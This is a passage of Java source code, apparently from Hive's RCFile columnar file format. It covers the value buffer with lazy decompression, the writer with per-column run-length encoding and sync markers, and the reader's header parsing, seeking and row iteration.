private boolean[] decompressedFlag = null;
private int numCompressed;
private LazyDecompressionCallbackImpl[] lazyDecompressCallbackObjs = null;
private boolean lazyDecompress = true;
boolean inited = false;
// used for readFields
KeyBuffer keyBuffer;
private int columnNumber = 0;
// set true for columns that needed to skip loading into memory.
boolean[] skippedColIDs = null;
CompressionCodec codec;
Decompressor valDecompressor = null;
NonSyncDataInputBuffer decompressBuffer = new NonSyncDataInputBuffer();
CompressionInputStream deflatFilter = null;
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer() throws IOException {
}
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer(KeyBuffer keyBuffer) throws IOException {
this(keyBuffer, keyBuffer.columnNumber, null, null, true);
}
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer(KeyBuffer keyBuffer, boolean[] skippedColIDs)
throws IOException {
this(keyBuffer, keyBuffer.columnNumber, skippedColIDs, null, true);
}
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer(KeyBuffer currentKey, int columnNumber,
boolean[] skippedCols, CompressionCodec codec) throws IOException {
this(currentKey, columnNumber, skippedCols, codec, true);
}
public ValueBuffer(KeyBuffer currentKey, int columnNumber,
boolean[] skippedCols, CompressionCodec codec, boolean lazyDecompress)
throws IOException {
this.lazyDecompress = lazyDecompress;
keyBuffer = currentKey;
this.columnNumber = columnNumber;
if (skippedCols != null && skippedCols.length > 0) {
skippedColIDs = skippedCols;
} else {
skippedColIDs = new boolean[columnNumber];
for (int i = 0; i < skippedColIDs.length; i++) {
skippedColIDs[i] = false;
}
}
int skipped = 0;
for (boolean currentSkip : skippedColIDs) {
if (currentSkip) {
skipped++;
}
}
loadedColumnsValueBuffer = new NonSyncDataOutputBuffer[columnNumber
- skipped];
decompressedFlag = new boolean[columnNumber - skipped];
lazyDecompressCallbackObjs = new LazyDecompressionCallbackImpl[columnNumber
- skipped];
compressedColumnsValueBuffer = new NonSyncDataOutputBuffer[columnNumber
- skipped];
this.codec = codec;
if (codec != null) {
valDecompressor = CodecPool.getDecompressor(codec);
deflatFilter = codec.createInputStream(decompressBuffer,
valDecompressor);
}
if (codec != null) {
numCompressed = decompressedFlag.length;
} else {
numCompressed = 0;
}
for (int k = 0, readIndex = 0; k < columnNumber; k++) {
if (skippedColIDs[k]) {
continue;
}
loadedColumnsValueBuffer[readIndex] = new NonSyncDataOutputBuffer();
if (codec != null) {
decompressedFlag[readIndex] = false;
lazyDecompressCallbackObjs[readIndex] = new LazyDecompressionCallbackImpl(
readIndex, k);
compressedColumnsValueBuffer[readIndex] = new NonSyncDataOutputBuffer();
} else {
decompressedFlag[readIndex] = true;
}
readIndex++;
}
}
@SuppressWarnings("unused")
@Deprecated
public void setColumnValueBuffer(NonSyncDataOutputBuffer valBuffer,
int addIndex) {
loadedColumnsValueBuffer[addIndex] = valBuffer;
}
@Override
public void readFields(DataInput in) throws IOException {
int addIndex = 0;
int skipTotal = 0;
for (int i = 0; i < columnNumber; i++) {
int vaRowsLen = keyBuffer.eachColumnValueLen[i];
// skip this column
if (skippedColIDs[i]) {
skipTotal += vaRowsLen;
continue;
}
if (skipTotal != 0) {
in.skipBytes(skipTotal);
skipTotal = 0;
}
NonSyncDataOutputBuffer valBuf;
if (codec != null){
// load into compressed buf first
valBuf = compressedColumnsValueBuffer[addIndex];
} else {
valBuf = loadedColumnsValueBuffer[addIndex];
}
valBuf.reset();
valBuf.write(in, vaRowsLen);
if (codec != null) {
decompressedFlag[addIndex] = false;
if (!lazyDecompress) {
lazyDecompressCallbackObjs[addIndex].decompress();
decompressedFlag[addIndex] = true;
}
}
addIndex++;
}
if (codec != null) {
numCompressed = decompressedFlag.length;
}
if (skipTotal != 0) {
in.skipBytes(skipTotal);
}
}
@Override
public void write(DataOutput out) throws IOException {
if (codec != null) {
for (NonSyncDataOutputBuffer currentBuf : compressedColumnsValueBuffer) {
out.write(currentBuf.getData(), 0, currentBuf.getLength());
}
} else {
for (NonSyncDataOutputBuffer currentBuf : loadedColumnsValueBuffer) {
out.write(currentBuf.getData(), 0, currentBuf.getLength());
}
}
}
public void nullColumn(int columnIndex) {
if (codec != null) {
compressedColumnsValueBuffer[columnIndex].reset();
} else {
loadedColumnsValueBuffer[columnIndex].reset();
}
}
public void clearColumnBuffer() throws IOException {
decompressBuffer.reset();
}
public void close() {
for (NonSyncDataOutputBuffer element : loadedColumnsValueBuffer) {
IOUtils.closeStream(element);
}
if (codec != null) {
IOUtils.closeStream(decompressBuffer);
if (valDecompressor != null) {
// Make sure we only return valDecompressor once.
CodecPool.returnDecompressor(valDecompressor);
valDecompressor = null;
}
}
}
@Override
public int compareTo(Object arg0) {
throw new RuntimeException("compareTo not supported in class "
+ this.getClass().getName());
}
}
/**
* Create a metadata object with alternating key-value pairs.
* Eg. metadata(key1, value1, key2, value2)
*/
public static Metadata createMetadata(Text... values) {
if (values.length % 2 != 0) {
throw new IllegalArgumentException("Must have a matched set of " +
"key-value pairs. " + values.length+
" strings supplied.");
}
Metadata result = new Metadata();
for(int i=0; i < values.length; i += 2) {
result.set(values[i], values[i+1]);
}
return result;
}
/**
* Write KeyBuffer/ValueBuffer pairs to a RCFile. RCFile's format is
* compatible with SequenceFile's.
*
*/
public static class Writer {
Configuration conf;
FSDataOutputStream out;
CompressionCodec codec = null;
Metadata metadata = null;
// Insert a globally unique 16-byte value every few entries, so that one
// can seek into the middle of a file and then synchronize with record
// starts and ends by scanning for this value.
long lastSyncPos; // position of last sync
byte[] sync; // 16 random bytes
{
try {
MessageDigest digester = MessageDigest.getInstance("MD5");
long time = System.currentTimeMillis();
digester.update((new UID() + "@" + time).getBytes());
sync = digester.digest();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// how many records the writer buffers before it writes to disk
private int RECORD_INTERVAL = Integer.MAX_VALUE;
// the max size of memory for buffering records before writes them out
private int columnsBufferSize = 4 * 1024 * 1024; // 4M
// the conf string for COLUMNS_BUFFER_SIZE
public static String COLUMNS_BUFFER_SIZE_CONF_STR = "hive.io.rcfile.record.buffer.size";
// how many records already buffered
private int bufferedRecords = 0;
private final ColumnBuffer[] columnBuffers;
private int columnNumber = 0;
private final int[] columnValuePlainLength;
KeyBuffer key = null;
private final int[] plainTotalColumnLength;
private final int[] comprTotalColumnLength;
boolean useNewMagic = true;
/*
* used for buffering appends before flush them out
*/
class ColumnBuffer {
// used for buffer a column's values
NonSyncDataOutputBuffer columnValBuffer;
// used to store each value's length
NonSyncDataOutputBuffer valLenBuffer;
/*
* use a run-length encoding. We only record run length if a same
* 'prevValueLen' occurs more than one time. And we negative the run
* length to distinguish a runLength and a normal value length. For
* example, if the values' lengths are 1,1,1,2, we record 1, ~2,2. And for
* value lengths 1,2,3 we record 1,2,3.
*/
int runLength = 0;
int prevValueLength = -1;
ColumnBuffer() throws IOException {
columnValBuffer = new NonSyncDataOutputBuffer();
valLenBuffer = new NonSyncDataOutputBuffer();
}
public void append(BytesRefWritable data) throws IOException {
data.writeDataTo(columnValBuffer);
int currentLen = data.getLength();
if (prevValueLength < 0) {
startNewGroup(currentLen);
return;
}
if (currentLen != prevValueLength) {
flushGroup();
startNewGroup(currentLen);
} else {
runLength++;
}
}
private void startNewGroup(int currentLen) {
prevValueLength = currentLen;
runLength = 0;
}
public void clear() throws IOException {
valLenBuffer.reset();
columnValBuffer.reset();
prevValueLength = -1;
runLength = 0;
}
public void flushGroup() throws IOException {
if (prevValueLength >= 0) {
WritableUtils.writeVLong(valLenBuffer, prevValueLength);
if (runLength > 0) {
WritableUtils.writeVLong(valLenBuffer, ~runLength);
}
runLength = -1;
prevValueLength = -1;
}
}
}
public long getLength() throws IOException {
return out.getPos();
}
/** Constructs a RCFile Writer. */
public Writer(FileSystem fs, Configuration conf, Path name) throws IOException {
this(fs, conf, name, null, new Metadata(), null);
}
/**
* Constructs a RCFile Writer.
*
* @param fs
* the file system used
* @param conf
* the configuration file
* @param name
* the file name
* @throws IOException
*/
public Writer(FileSystem fs, Configuration conf, Path name,
Progressable progress, CompressionCodec codec) throws IOException {
this(fs, conf, name, progress, new Metadata(), codec);
}
/**
* Constructs a RCFile Writer.
*
* @param fs
* the file system used
* @param conf
* the configuration file
* @param name
* the file name
* @param progress a progress meter to update as the file is written
* @param metadata a string to string map in the file header
* @throws IOException
*/
public Writer(FileSystem fs, Configuration conf, Path name,
Progressable progress, Metadata metadata, CompressionCodec codec) throws IOException {
this(fs, conf, name, fs.getConf().getInt("io.file.buffer.size", 4096),
ShimLoader.getHadoopShims().getDefaultReplication(fs, name),
ShimLoader.getHadoopShims().getDefaultBlockSize(fs, name), progress,
metadata, codec);
}
/**
*
* Constructs a RCFile Writer.
*
* @param fs
* the file system used
* @param conf
* the configuration file
* @param name
* the file name
* @param bufferSize the size of the file buffer
* @param replication the number of replicas for the file
* @param blockSize the block size of the file
* @param progress the progress meter for writing the file
* @param metadata a string to string map in the file header
* @throws IOException
*/
public Writer(FileSystem fs, Configuration conf, Path name, int bufferSize,
short replication, long blockSize, Progressable progress,
Metadata metadata, CompressionCodec codec) throws IOException {
RECORD_INTERVAL = conf.getInt(RECORD_INTERVAL_CONF_STR, RECORD_INTERVAL);
columnNumber = conf.getInt(COLUMN_NUMBER_CONF_STR, 0);
if (metadata == null) {
metadata = new Metadata();
}
metadata.set(new Text(COLUMN_NUMBER_METADATA_STR), new Text(""
+ columnNumber));
columnsBufferSize = conf.getInt(COLUMNS_BUFFER_SIZE_CONF_STR,
4 * 1024 * 1024);
columnValuePlainLength = new int[columnNumber];
columnBuffers = new ColumnBuffer[columnNumber];
for (int i = 0; i < columnNumber; i++) {
columnBuffers[i] = new ColumnBuffer();
}
init(conf, fs.create(name, true, bufferSize, replication,
blockSize, progress), codec, metadata);
initializeFileHeader();
writeFileHeader();
finalizeFileHeader();
key = new KeyBuffer(columnNumber);
plainTotalColumnLength = new int[columnNumber];
comprTotalColumnLength = new int[columnNumber];
}
/** Write the initial part of file header. */
void initializeFileHeader() throws IOException {
if (useNewMagic) {
out.write(MAGIC);
out.write(CURRENT_VERSION);
} else {
out.write(ORIGINAL_MAGIC_VERSION);
}
}
/** Write the final part of file header. */
void finalizeFileHeader() throws IOException {
out.write(sync); // write the sync bytes
out.flush(); // flush header
}
boolean isCompressed() {
return codec != null;
}
/** Write and flush the file header. */
void writeFileHeader() throws IOException {
if (useNewMagic) {
out.writeBoolean(isCompressed());
} else {
Text.writeString(out, KeyBuffer.class.getName());
Text.writeString(out, ValueBuffer.class.getName());
out.writeBoolean(isCompressed());
out.writeBoolean(false);
}
if (isCompressed()) {
Text.writeString(out, (codec.getClass()).getName());
}
metadata.write(out);
}
void init(Configuration conf, FSDataOutputStream out,
CompressionCodec codec, Metadata metadata) throws IOException {
this.conf = conf;
this.out = out;
this.codec = codec;
this.metadata = metadata;
this.useNewMagic =
conf.getBoolean(HiveConf.ConfVars.HIVEUSEEXPLICITRCFILEHEADER.varname, true);
}
/** Returns the compression codec of data in this file. */
@SuppressWarnings("unused")
@Deprecated
public CompressionCodec getCompressionCodec() {
return codec;
}
/** create a sync point. */
public void sync() throws IOException {
if (sync != null && lastSyncPos != out.getPos()) {
out.writeInt(SYNC_ESCAPE); // mark the start of the sync
out.write(sync); // write sync
lastSyncPos = out.getPos(); // update lastSyncPos
}
}
/** Returns the configuration of this file. */
@SuppressWarnings("unused")
@Deprecated
Configuration getConf() {
return conf;
}
private void checkAndWriteSync() throws IOException {
if (sync != null && out.getPos() >= lastSyncPos + SYNC_INTERVAL) {
sync();
}
}
private int columnBufferSize = 0;
/**
* Append a row of values. Currently it only can accept <
* {@link BytesRefArrayWritable}. If its <code>size()</code> is less than the
* column number in the file, zero bytes are appended for the empty columns.
* If its size() is greater then the column number in the file, the exceeded
* columns' bytes are ignored.
*
* @param val a BytesRefArrayWritable with the list of serialized columns
* @throws IOException
*/
public void append(Writable val) throws IOException {
if (!(val instanceof BytesRefArrayWritable)) {
throw new UnsupportedOperationException(
"Currently the writer can only accept BytesRefArrayWritable");
}
BytesRefArrayWritable columns = (BytesRefArrayWritable) val;
int size = columns.size();
for (int i = 0; i < size; i++) {
BytesRefWritable cu = columns.get(i);
int plainLen = cu.getLength();
columnBufferSize += plainLen;
columnValuePlainLength[i] += plainLen;
columnBuffers[i].append(cu);
}
if (size < columnNumber) {
for (int i = columns.size(); i < columnNumber; i++) {
columnBuffers[i].append(BytesRefWritable.ZeroBytesRefWritable);
}
}
bufferedRecords++;
if ((columnBufferSize > columnsBufferSize)
|| (bufferedRecords >= RECORD_INTERVAL)) {
flushRecords();
}
}
private void flushRecords() throws IOException {
key.numberRows = bufferedRecords;
Compressor compressor = null;
NonSyncDataOutputBuffer valueBuffer = null;
CompressionOutputStream deflateFilter = null;
DataOutputStream deflateOut = null;
boolean isCompressed = isCompressed();
int valueLength = 0;
if (isCompressed) {
ReflectionUtils.setConf(codec, this.conf);
compressor = CodecPool.getCompressor(codec);
valueBuffer = new NonSyncDataOutputBuffer();
deflateFilter = codec.createOutputStream(valueBuffer, compressor);
deflateOut = new DataOutputStream(deflateFilter);
}
for (int columnIndex = 0; columnIndex < columnNumber; columnIndex++) {
ColumnBuffer currentBuf = columnBuffers[columnIndex];
currentBuf.flushGroup();
NonSyncDataOutputBuffer columnValue = currentBuf.columnValBuffer;
int colLen;
int plainLen = columnValuePlainLength[columnIndex];
if (isCompressed) {
if (deflateFilter instanceof SchemaAwareCompressionOutputStream) {
((SchemaAwareCompressionOutputStream)deflateFilter).
setColumnIndex(columnIndex);
}
deflateFilter.resetState();
deflateOut.write(columnValue.getData(), 0, columnValue.getLength());
deflateOut.flush();
deflateFilter.finish();
// find how much compressed data was added for this column
colLen = valueBuffer.getLength() - valueLength;
} else {
colLen = columnValuePlainLength[columnIndex];
}
valueLength += colLen;
key.setColumnLenInfo(colLen, currentBuf.valLenBuffer, plainLen,
columnIndex);
plainTotalColumnLength[columnIndex] += plainLen;
comprTotalColumnLength[columnIndex] += colLen;
columnValuePlainLength[columnIndex] = 0;
}
int keyLength = key.getSize();
if (keyLength < 0) {
throw new IOException("negative length keys not allowed: " + key);
}
if (compressor != null) {
CodecPool.returnCompressor(compressor);
}
// Write the key out
writeKey(key, keyLength + valueLength, keyLength);
// write the value out
if (isCompressed) {
out.write(valueBuffer.getData(), 0, valueBuffer.getLength());
} else {
for(int columnIndex=0; columnIndex < columnNumber; ++columnIndex) {
NonSyncDataOutputBuffer buf =
columnBuffers[columnIndex].columnValBuffer;
out.write(buf.getData(), 0, buf.getLength());
}
}
// clear the columnBuffers
clearColumnBuffers();
bufferedRecords = 0;
columnBufferSize = 0;
}
/**
* flush a block out without doing anything except compressing the key part.
*/
public void flushBlock(KeyBuffer keyBuffer, ValueBuffer valueBuffer,
int recordLen, int keyLength,
@SuppressWarnings("unused") int compressedKeyLen) throws IOException {
writeKey(keyBuffer, recordLen, keyLength);
valueBuffer.write(out);
}
private void writeKey(KeyBuffer keyBuffer, int recordLen,
int keyLength) throws IOException {
checkAndWriteSync(); // sync
out.writeInt(recordLen); // total record length
out.writeInt(keyLength); // key portion length
if(this.isCompressed()) {
Compressor compressor = CodecPool.getCompressor(codec);
NonSyncDataOutputBuffer compressionBuffer =
new NonSyncDataOutputBuffer();
CompressionOutputStream deflateFilter =
codec.createOutputStream(compressionBuffer, compressor);
DataOutputStream deflateOut = new DataOutputStream(deflateFilter);
//compress key and write key out
compressionBuffer.reset();
deflateFilter.resetState();
keyBuffer.write(deflateOut);
deflateOut.flush();
deflateFilter.finish();
int compressedKeyLen = compressionBuffer.getLength();
out.writeInt(compressedKeyLen);
out.write(compressionBuffer.getData(), 0, compressedKeyLen);
CodecPool.returnCompressor(compressor);
} else {
out.writeInt(keyLength);
keyBuffer.write(out);
}
}
private void clearColumnBuffers() throws IOException {
for (int i = 0; i < columnNumber; i++) {
columnBuffers[i].clear();
}
}
public synchronized void close() throws IOException {
if (bufferedRecords > 0) {
flushRecords();
}
clearColumnBuffers();
if (out != null) {
// Close the underlying stream if we own it...
out.flush();
out.close();
out = null;
}
for (int i = 0; i < columnNumber; i++) {
LOG.info("Column#" + i + " : Plain Total Column Value Length: "
+ plainTotalColumnLength[i]
+ ", Compr Total Column Value Length: " + comprTotalColumnLength[i]);
}
}
}
/**
* Read KeyBuffer/ValueBuffer pairs from a RCFile.
*
*/
public static class Reader {
private static class SelectedColumn {
public int colIndex;
public int rowReadIndex;
public int runLength;
public int prvLength;
public boolean isNulled;
}
private final Path file;
private final FSDataInputStream in;
private byte version;
private CompressionCodec codec = null;
private Metadata metadata = null;
private final byte[] sync = new byte[SYNC_HASH_SIZE];
private final byte[] syncCheck = new byte[SYNC_HASH_SIZE];
private boolean syncSeen;
private long lastSeenSyncPos = 0;
private long headerEnd;
private final long end;
private int currentKeyLength;
private int currentRecordLength;
private final Configuration conf;
private final ValueBuffer currentValue;
private int readRowsIndexInBuffer = 0;
private int recordsNumInValBuffer = 0;
private int columnNumber = 0;
private int loadColumnNum;
private int passedRowsNum = 0;
// Should we try to tolerate corruption? Default is No.
private boolean tolerateCorruptions = false;
private boolean decompress = false;
private Decompressor keyDecompressor;
NonSyncDataOutputBuffer keyDecompressedData = new NonSyncDataOutputBuffer();
//Current state of each selected column - e.g. current run length, etc.
// The size of the array is equal to the number of selected columns
private final SelectedColumn[] selectedColumns;
// map of original column id -> index among selected columns
private final int[] revPrjColIDs;
// column value lengths for each of the selected columns
private final NonSyncDataInputBuffer[] colValLenBufferReadIn;
/** Create a new RCFile reader. */
public Reader(FileSystem fs, Path file, Configuration conf) throws IOException {
this(fs, file, conf.getInt("io.file.buffer.size", 4096), conf, 0, fs
.getFileStatus(file).getLen());
}
/** Create a new RCFile reader. */
public Reader(FileSystem fs, Path file, int bufferSize, Configuration conf,
long start, long length) throws IOException {
tolerateCorruptions = conf.getBoolean(
TOLERATE_CORRUPTIONS_CONF_STR, false);
conf.setInt("io.file.buffer.size", bufferSize);
this.file = file;
in = openFile(fs, file, bufferSize, length);
this.conf = conf;
end = start + length;
boolean succeed = false;
try {
if (start > 0) {
seek(0);
init();
seek(start);
} else {
init();
}
succeed = true;
} finally {
if (!succeed) {
if (in != null) {
try {
in.close();
} catch(IOException e) {
if (LOG != null && LOG.isDebugEnabled()) {
LOG.debug("Exception in closing " + in, e);
}
}
}
}
}
columnNumber = Integer.parseInt(metadata.get(
new Text(COLUMN_NUMBER_METADATA_STR)).toString());
java.util.ArrayList<Integer> notSkipIDs = ColumnProjectionUtils
.getReadColumnIDs(conf);
boolean[] skippedColIDs = new boolean[columnNumber];
if (notSkipIDs.size() > 0) {
for (int i = 0; i < skippedColIDs.length; i++) {
skippedColIDs[i] = true;
}
for (int read : notSkipIDs) {
if (read < columnNumber) {
skippedColIDs[read] = false;
}
}
} else {
// TODO: if no column name is specified e.g, in select count(1) from tt;
// skip all columns, this should be distinguished from the case:
// select * from tt;
for (int i = 0; i < skippedColIDs.length; i++) {
skippedColIDs[i] = false;
}
}
loadColumnNum = columnNumber;
if (skippedColIDs.length > 0) {
for (boolean skippedColID : skippedColIDs) {
if (skippedColID) {
loadColumnNum -= 1;
}
}
}
revPrjColIDs = new int[columnNumber];
// get list of selected column IDs
selectedColumns = new SelectedColumn[loadColumnNum];
colValLenBufferReadIn = new NonSyncDataInputBuffer[loadColumnNum];
for (int i = 0, j = 0; i < columnNumber; ++i) {
if (!skippedColIDs[i]) {
SelectedColumn col = new SelectedColumn();
col.colIndex = i;
col.runLength = 0;
col.prvLength = -1;
col.rowReadIndex = 0;
selectedColumns[j] = col;
colValLenBufferReadIn[j] = new NonSyncDataInputBuffer();
revPrjColIDs[i] = j;
j++;
} else {
revPrjColIDs[i] = -1;
}
}
currentKey = createKeyBuffer();
boolean lazyDecompress = !tolerateCorruptions;
currentValue = new ValueBuffer(
null, columnNumber, skippedColIDs, codec, lazyDecompress);
}
/**
* Return the metadata (Text to Text map) that was written into the
* file.
*/
public Metadata getMetadata() {
return metadata;
}
/**
* Return the metadata value associated with the given key.
* @param key the metadata key to retrieve
*/
public Text getMetadataValueOf(Text key) {
return metadata.get(key);
}
/**
* Override this method to specialize the type of
* {@link FSDataInputStream} returned.
*/
protected FSDataInputStream openFile(FileSystem fs, Path file,
int bufferSize, long length) throws IOException {
return fs.open(file, bufferSize);
}
private void init() throws IOException {
byte[] magic = new byte[MAGIC.length];
in.readFully(magic);
if (Arrays.equals(magic, ORIGINAL_MAGIC)) {
byte vers = in.readByte();
if (vers != ORIGINAL_MAGIC_VERSION_WITH_METADATA) {
throw new IOException(file + " is a version " + vers +
" SequenceFile instead of an RCFile.");
}
version = ORIGINAL_VERSION;
} else {
if (!Arrays.equals(magic, MAGIC)) {
throw new IOException(file + " not a RCFile and has magic of " +
new String(magic));
}
// Set 'version'
version = in.readByte();
if (version > CURRENT_VERSION) {
throw new VersionMismatchException((byte) CURRENT_VERSION, version);
}
}
if (version == ORIGINAL_VERSION) {
try {
Class<?> keyCls = conf.getClassByName(Text.readString(in));
Class<?> valCls = conf.getClassByName(Text.readString(in));
if (!keyCls.equals(KeyBuffer.class)
|| !valCls.equals(ValueBuffer.class)) {
throw new IOException(file + " not a RCFile");
}
} catch (ClassNotFoundException e) {
throw new IOException(file + " not a RCFile", e);
}
}
decompress = in.readBoolean(); // is compressed?
if (version == ORIGINAL_VERSION) {
// is block-compressed? it should be always false.
boolean blkCompressed = in.readBoolean();
if (blkCompressed) {
throw new IOException(file + " not a RCFile.");
}
}
// setup the compression codec
if (decompress) {
String codecClassname = Text.readString(in);
try {
Class<? extends CompressionCodec> codecClass = conf.getClassByName(
codecClassname).asSubclass(CompressionCodec.class);
codec = ReflectionUtils.newInstance(codecClass, conf);
} catch (ClassNotFoundException cnfe) {
throw new IllegalArgumentException(
"Unknown codec: " + codecClassname, cnfe);
}
keyDecompressor = CodecPool.getDecompressor(codec);
}
metadata = new Metadata();
metadata.readFields(in);
in.readFully(sync); // read sync bytes
headerEnd = in.getPos();
}
/** Return the current byte position in the input file. */
public synchronized long getPosition() throws IOException {
return in.getPos();
}
/**
* Set the current byte position in the input file.
*
* <p>
* The position passed must be a position returned by
* {@link RCFile.Writer#getLength()} when writing this file. To seek to an
* arbitrary position, use {@link RCFile.Reader#sync(long)}. In another
* words, the current seek can only seek to the end of the file. For other
* positions, use {@link RCFile.Reader#sync(long)}.
*/
public synchronized void seek(long position) throws IOException {
in.seek(position);
}
/**
* Resets the values which determine if there are more rows in the buffer
*
* This can be used after one calls seek or sync, if one called next before that.
* Otherwise, the seek or sync will have no effect, it will continue to get rows from the
* buffer built up from the call to next.
*/
public synchronized void resetBuffer() {
readRowsIndexInBuffer = 0;
recordsNumInValBuffer = 0;
}
/** Seek to the next sync mark past a given position. */
public synchronized void sync(long position) throws IOException {
if (position + SYNC_SIZE >= end) {
seek(end);
return;
}
//this is to handle syn(pos) where pos < headerEnd.
if (position < headerEnd) {
// seek directly to first record
in.seek(headerEnd);
// note the sync marker "seen" in the header
syncSeen = true;
return;
}
try {
seek(position + 4); // skip escape
int prefix = sync.length;
int n = conf.getInt("io.bytes.per.checksum", 512);
byte[] buffer = new byte[prefix+n];
n = (int)Math.min(n, end - in.getPos());
/* fill array with a pattern that will never match sync */
Arrays.fill(buffer, (byte)(~sync[0]));
while(n > 0 && (in.getPos() + n) <= end) {
position = in.getPos();
in.readFully(buffer, prefix, n);
/* the buffer has n+sync bytes */
for(int i = 0; i < n; i++) {
int j;
for(j = 0; j < sync.length && sync[j] == buffer[i+j]; j++) {
/* nothing */
}
if(j == sync.length) {
/* simplified from (position + (i - prefix) + sync.length) - SYNC_SIZE */
in.seek(position + i - SYNC_SIZE);
return;
}
}
/* move the last 16 bytes to the prefix area */
System.arraycopy(buffer, buffer.length - prefix - 1, buffer, 0, prefix);
n = (int)Math.min(n, end - in.getPos());
}
} catch (ChecksumException e) { // checksum failure
handleChecksumException(e);
}
}
private void handleChecksumException(ChecksumException e) throws IOException {
if (conf.getBoolean("io.skip.checksum.errors", false)) {
LOG.warn("Bad checksum at " + getPosition() + ". Skipping entries.");
sync(getPosition() + conf.getInt("io.bytes.per.checksum", 512));
} else {
throw e;
}
}
private KeyBuffer createKeyBuffer() {
return new KeyBuffer(columnNumber);
}
/**
* Read and return the next record length, potentially skipping over a sync
* block.
*
* @return the length of the next record or -1 if there is no next record
* @throws IOException
*/
private synchronized int readRecordLength() throws IOException {
if (in.getPos() >= end) {
return -1;
}
int length = in.readInt();
if (sync != null && length == SYNC_ESCAPE) { // process
// a
// sync entry
lastSeenSyncPos = in.getPos() - 4; // minus SYNC_ESCAPE's length
in.readFully(syncCheck); // read syncCheck
if (!Arrays.equals(sync, syncCheck)) {
throw new IOException("File is corrupt!");
}
syncSeen = true;
if (in.getPos() >= end) {
return -1;
}
length = in.readInt(); // re-read length
} else {
syncSeen = false;
}
return length;
}
private void seekToNextKeyBuffer() throws IOException {
if (!keyInit) {
return;
}
if (!currentValue.inited) {
in.skip(currentRecordLength - currentKeyLength);
}
}
private int compressedKeyLen = 0;
NonSyncDataInputBuffer keyDataIn = new NonSyncDataInputBuffer();
NonSyncDataInputBuffer keyDecompressBuffer = new NonSyncDataInputBuffer();
NonSyncDataOutputBuffer keyTempBuffer = new NonSyncDataOutputBuffer();
KeyBuffer currentKey = null;
boolean keyInit = false;
protected int nextKeyBuffer() throws IOException {
seekToNextKeyBuffer();
currentRecordLength = readRecordLength();
if (currentRecordLength == -1) {
keyInit = false;
return -1;
}
currentKeyLength = in.readInt();
compressedKeyLen = in.readInt();
if (decompress) {
keyTempBuffer.reset();
keyTempBuffer.write(in, compressedKeyLen);
keyDecompressBuffer.reset(keyTempBuffer.getData(), compressedKeyLen);
CompressionInputStream deflatFilter = codec.createInputStream(
keyDecompressBuffer, keyDecompressor);
DataInputStream compressedIn = new DataInputStream(deflatFilter);
deflatFilter.resetState();
keyDecompressedData.reset();
keyDecompressedData.write(compressedIn, currentKeyLength);
keyDataIn.reset(keyDecompressedData.getData(), currentKeyLength);
currentKey.readFields(keyDataIn);
} else {
currentKey.readFields(in);
}
keyInit = true;
currentValue.inited = false;
readRowsIndexInBuffer = 0;
recordsNumInValBuffer = currentKey.numberRows;
for (int selIx = 0; selIx < selectedColumns.length; selIx++) {
SelectedColumn col = selectedColumns[selIx];
int colIx = col.colIndex;
NonSyncDataOutputBuffer buf = currentKey.allCellValLenBuffer[colIx];
colValLenBufferReadIn[selIx].reset(buf.getData(), buf.getLength());
col.rowReadIndex = 0;
col.runLength = 0;
col.prvLength = -1;
col.isNulled = colValLenBufferReadIn[selIx].getLength() == 0;
}
return currentKeyLength;
}
protected void currentValueBuffer() throws IOException {
if (!keyInit) {
nextKeyBuffer();
}
currentValue.keyBuffer = currentKey;
currentValue.clearColumnBuffer();
currentValue.readFields(in);
currentValue.inited = true;
}
public boolean nextBlock() throws IOException {
int keyLength = nextKeyBuffer();
if(keyLength > 0) {
currentValueBuffer();
return true;
}
return false;
}
private boolean rowFetched = false;
// use this buffer to hold column's cells value length for usages in
// getColumn(), instead of using colValLenBufferReadIn directly.
private final NonSyncDataInputBuffer fetchColumnTempBuf = new NonSyncDataInputBuffer();
/**
* Fetch all data in the buffer for a given column. This is useful for
* columnar operators, which perform operations on an array data of one
* column. It should be used together with {@link #nextColumnsBatch()}.
* Calling getColumn() with not change the result of
* {@link #next(LongWritable)} and
* {@link #getCurrentRow(BytesRefArrayWritable)}.
*
* @param columnID the number of the column to get 0 to N-1
* @throws IOException
*/
public BytesRefArrayWritable getColumn(int columnID,
BytesRefArrayWritable rest) throws IOException {
int selColIdx = revPrjColIDs[columnID];
if (selColIdx == -1) {
return null;
}
if (rest == null) {
rest = new BytesRefArrayWritable();
}
rest.resetValid(recordsNumInValBuffer);
if (!currentValue.inited) {
currentValueBuffer();
}
int columnNextRowStart = 0;
fetchColumnTempBuf.reset(currentKey.allCellValLenBuffer[columnID]
.getData(), currentKey.allCellValLenBuffer[columnID].getLength());
SelectedColumn selCol = selectedColumns[selColIdx];
byte[] uncompData = null;
ValueBuffer.LazyDecompressionCallbackImpl decompCallBack = null;
boolean decompressed = currentValue.decompressedFlag[selColIdx];
if (decompressed) {
uncompData =
currentValue.loadedColumnsValueBuffer[selColIdx].getData();
} else {
decompCallBack = currentValue.lazyDecompressCallbackObjs[selColIdx];
}
for (int i = 0; i < recordsNumInValBuffer; i++) {
colAdvanceRow(selColIdx, selCol);
int length = selCol.prvLength;
BytesRefWritable currentCell = rest.get(i);
if (decompressed) {
currentCell.set(uncompData, columnNextRowStart, length);
} else {
currentCell.set(decompCallBack, columnNextRowStart, length);
}
columnNextRowStart = columnNextRowStart + length;
}
return rest;
}
/**
* Read in next key buffer and throw any data in current key buffer and
* current value buffer. It will influence the result of
* {@link #next(LongWritable)} and
* {@link #getCurrentRow(BytesRefArrayWritable)}
*
* @return whether there still has records or not
* @throws IOException
*/
@SuppressWarnings("unused")
@Deprecated
public synchronized boolean nextColumnsBatch() throws IOException {
passedRowsNum += (recordsNumInValBuffer - readRowsIndexInBuffer);
return nextKeyBuffer() > 0;
}
/**
* Returns how many rows we fetched with next(). It only means how many rows
* are read by next(). The returned result may be smaller than actual number
* of rows passed by, because {@link #seek(long)},
* {@link #nextColumnsBatch()} can change the underlying key buffer and
* value buffer.
*
* @return next row number
* @throws IOException
*/
public synchronized boolean next(LongWritable readRows) throws IOException {
if (hasRecordsInBuffer()) {
readRows.set(passedRowsNum);
readRowsIndexInBuffer++;
passedRowsNum++;
rowFetched = false;
return true;
} else {
keyInit = false;
}
int ret = -1;
if (tolerateCorruptions) {
ret = nextKeyValueTolerateCorruptions();
} else {
try {
ret = nextKeyBuffer();
} catch (EOFException eof) {
eof.printStackTrace();
}
}
return (ret > 0) && next(readRows);
}
